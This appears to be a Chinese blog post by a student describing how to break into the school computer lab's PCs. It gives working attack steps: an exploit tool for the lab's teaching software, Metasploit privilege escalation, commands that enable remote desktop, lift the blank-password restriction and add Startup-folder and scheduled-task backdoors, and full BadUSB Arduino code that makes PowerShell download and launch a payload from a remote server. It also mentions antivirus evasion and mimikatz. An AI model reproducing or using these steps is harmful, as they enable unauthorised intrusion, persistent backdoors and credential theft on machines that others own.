学校机房渗透测试实战

如何黑掉机房电脑?

ps:老师讲课太无聊了,写一下机房渗透测试的几种思路,并进行实战演示。有什么问题,可以留言,欢迎各位大佬来指正。

实现目标:

  1. 获取shell
  2. 获取system权限
  3. 建立远程桌面连接

思路一:找系统漏洞

1、用cmd命令查看系统版本:winver

发现系统版本是win10的21H2,找一下有没有相关的RCE(远程命令执行)漏洞。

由于我们学校机房系统版本较新,暂时没发现有可以直接利用的RCE漏洞。

如果系统为win10的1903或者1909版本,可能存在“永恒之黑漏洞” CVE-2020-0796。

这是一个远程命令执行漏洞,可以通过该漏洞直接获取system权限。

或者自己可以搜一下目标机系统有没有CVE漏洞,找Poc进行利用攻击。

参考:【漏洞复现】CVE-2020-0796永恒之黑漏洞复现_cve-2020-0796复现-CSDN博客

思路二:找系统中的软件漏洞

1、查看一下系统的教学软件。

发现使用的是极域的2016版本

那么接下来就好办了,该软件的学生端存在一个RCE漏洞,通过这个漏洞可以让学生端执行任意的cmd命令。

2、利用极域漏洞进行攻击


基于该漏洞我用python写了一个图形化的利用工具,可以直接向目标机上传指定的文件运行。

如果你的极域版本是极域2022也可以使用该软件进行攻击。

该软件已开源,GitHub:xxue888/fanjiyu-3.0: X反极域工具3.0 (github.com)

将自己的木马放到C盘,选择木马文件,进行上传。

MSF或CS的使用这里就不多讲了,自己搜着看吧,如果目标系统上有杀毒软件,要对木马做一个免杀处理。(可以使用RC4对称加密对shellcode进行加密处理)

msf监听:

上传木马文件:

目标上线:

使用CS连接也可以

3、msf后渗透

提权:getsystem

进入shell、解决乱码 chcp 65001

开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

解除空密码登录限制
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa" /v LimitBlankPasswordUse /t reg_dword /d 0 /f

进行远程连接:win+r 输入mstsc

学校机房一般都不设置密码,如果有密码,可以使用mimikatz来获取密码。

后门创建(cmd命令)

1、将木马加入启动文件夹

move "C:\server\x.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

2、创建登录计划任务

schtasks /create /sc onlogon /tn "server" /tr "C:\server\x.exe" /f

这里要注意你使用的木马路径。

思路三:物理攻击(制作badusb)

        向目标机插入特制usb,使肉鸡自动下载木马并打开,一般需要一个服务器来下载你的木马。

感兴趣的话可以在淘宝买一个badusb,通过Arduino IDE 进行烧录,这里自己研究怎么烧录吧。

可以参考下方文章研究学习。

以下是我烧录使用的代码:

#include<Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();//开始键盘通讯
delay(500);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(300);
Keyboard.release(KEY_LEFT_GUI);//释放win 键
Keyboard.release('r');//释放R键
//Keyboard.press(KEY_CAPS_LOCK);//切换大小写,绕过输入法
//Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd ");
delay(300);
Keyboard.release(KEY_RETURN);//按下回车键
delay(1000);
Keyboard.println("powershell ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("$clnt = new-object System.Net.WebClient; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("$url= 'http://192.168.1.102/x.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("mkdir C:\\server ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("$file = 'C:\\server\\server.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt.DownloadFile($url,$file); ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("START C:\\server\\server.exe ");
Keyboard.press(KEY_RETURN);
delay(250);
Keyboard.release(KEY_RETURN);
delay(250);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);

Keyboard.end();//结束键盘通讯
}

void loop() {
// put your main code here, to run repeatedly:

}

参考文章:

Badusb制作及使用(渗透windows)-CSDN博客

BadUSB超详细制作, 实现CobaltStrike远控上线 - 亨利其实很坏 - 博客园 (cnblogs.com)

目标主机上线后,使用前面的方法进行后渗透即可。

注:本文章仅限于安全研究,切勿非法利用,一切后果由本人承担。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值